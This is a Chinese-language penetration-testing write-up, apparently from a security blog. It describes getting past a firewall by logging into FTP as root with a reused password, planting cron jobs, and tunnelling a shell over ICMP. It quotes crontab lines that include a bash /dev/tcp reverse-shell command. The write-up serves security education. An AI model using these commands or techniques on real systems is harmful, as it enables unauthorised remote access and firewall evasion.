渗透测试案例之使用”组合拳”突破防火墙限制

ph0en1x 内网渗透 2018年1月12日发布
Favorite收藏

导语:分享一个利用Linux计划任务服务和基于ICMP协议封装的Shell,以及其他知识点和技巧的突破防火墙限制的渗透测试案例

年底了,在整理文档时,突然想起之前做过的一个利用Linux计划任务服务和基于ICMP协议封装的Shell,以及其他知识点和技巧的突破防火墙限制的渗透测试案例,除了它的特殊性外(下文会提到),其测试流程和思路很值得和大家分享。(鉴于是之前的案例,没有现场截图,只做流程说明)

绘图1.jpg

当时的网络情况大致如上图所示,A网络和B网络是两个相对独立的网络,只有A_PC和B_SER两台特定主机可以相互访问。我们在拿到A_PC这台主机的权限后,试图拿到B_SER的Shell。此时我们掌握如下信息:

1、A_PC主机双网卡,用192.168.23.3地址可以ping通B_SERV的192.168.22.3地址;
2、通过TTL返回值可以判断中间经过了多个设备;
3、执行traceroute命令,到中间某一跳就中断,无法到达B_SER;
4、A_PC可以访问B_SER的FTP服务(21端口),可以上传、下载文件;
5、获得了B_SER的FTP用户名和口令;
6、B_SER的其他服务(端口)都无法访问,包括22、23端口。

根据上述信息我们可以大致判断,两个网络间肯定存在一台或多台类似防火墙性质的设备,对A_PC到B_SER的通信进行了限制,只允许21端口数据和ping包通过,至于B_SER到A_PC的通信是否有同样的限制暂时无法判断,至少ping的响应包可以通过。

对于能访问到的21端口,我们首先尝试了针对该版本FTP软件的远程溢出,但没有任何返回。不管是本地开端口Payload,还是反弹端口Payload,都不能确定是没溢出成功,还是已经成功,但端口被防火墙限制。

利用FTP登录B_SER,在FTP根目录下顺手敲了“cd ..”,执行成功,进入上级目录,居然没有对FTP访问目录进行限制(此特殊条件1),可以翻看的目录多了好多,但由于FTP用户权限低,无法获得关键信息。

root口令会不会也是同样的口令呢(很多公司内网都有这样情况,为了便于管理,口令设置一样)?尝试用root账户和同样的口令登录B_SER的FTP服务,成功了!!!居然root用户可以登录FTP(此特殊条件2),居然root口令和FTP口令一样(此特殊条件3),豁然开朗。

有root权限,但只能执行FTP命令,非常受限。这时想到Linux下的任务计划crontab,(对Linux任务计划不了解的同学可以先了解一下)。利用FTP命令,下载B_SER服务器上/var/spool/cron/root文件,发现该服务器root用户本身配有任务计划,于是在原有内容后面添加如下语句:

*/3  *  *  *  * ping –c 2 192.168.23.3 >> /tmp/ping

#每隔3分钟执行一下ping命令,并将结果写入文件

然后put到B_SER服务器上,替换掉原来的/var/spool/cron/root文件(其实这里还执行了很多其他系统命令,不一一罗列)。三分钟后在tmp目录下果然生成ping文件,并且ping通。这充分说明,利用crontab可以执行系统命令,也就意味着可以执行反弹shell的命令。于是马上更换命令为:

*/3  *  *  *  * bash –i >&/dev/tcp/192.168.23.3/80 0 >&1

#每隔3分钟执行一下反弹shell命令,讲shell反弹至192.168.23.3的80端口

上传后马上在A_PC上利用nc监听80端口,但几分钟过后没有任何动静,难道命令没有执行?于是在原命令后添加一条命令:

*/3  *  *  *  * bash –i >&/dev/tcp/192.168.23.3/80 0 >&1;ps –ef >>/tmp/ps

#每隔3分钟执行一下反弹shell命令,后列出进程

再次上传执行,三分钟后ps文件生成,文件内容显示”bash –i >&/dev/tcp/192.168.23.3/80 0 >&1”命令已经执行,但没有shell返回。那就是反弹的端口被限制了,于是更换其他多个端口,均不能回连。

至此,我们已经可以在B_SER上执行命令,但还没拿到shell,同时也基本确定B_SER到A_PC的通信也同样受到防火墙限制,只有ping包可以通过。

如果把shell封装成ping包格式(ICMP协议),是不是就可以突破防火墙限制呢?我们尝试了ICMP Shell这款工具(下载地址:https://github.com/realityone/icmp-shell),这是一款开源工具,C语言编写,功能就是将shell封装在ICMP协议中传输。我们将客户端编译好后上传执行,在A_PC主机上执行服务端,很快,shell就回来了。至此,成功突破防火墙,获得B_SER的shell。

总结此次渗透测试,一句话概括为:在特定条件下,利用crontab执行了封装在ICMP协议下的shell,成功突破防火墙限制。结果其实很简单,只是与大家分享测试过程中的思路,有不妥之处请指教,如有更好的思路和技巧,也请大家不吝赐教。 

本文为 ph0en1x 原创稿件,授权嘶吼独家发布,未经许可禁止,如若转载,请联系嘶吼编辑: http://www.4hou.com/penetration/9741.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    666 2018-02-01 23:09

    总结起来一句话:利用icmp shell这款工具将其他网络协议封装在icmp报文中进行传输。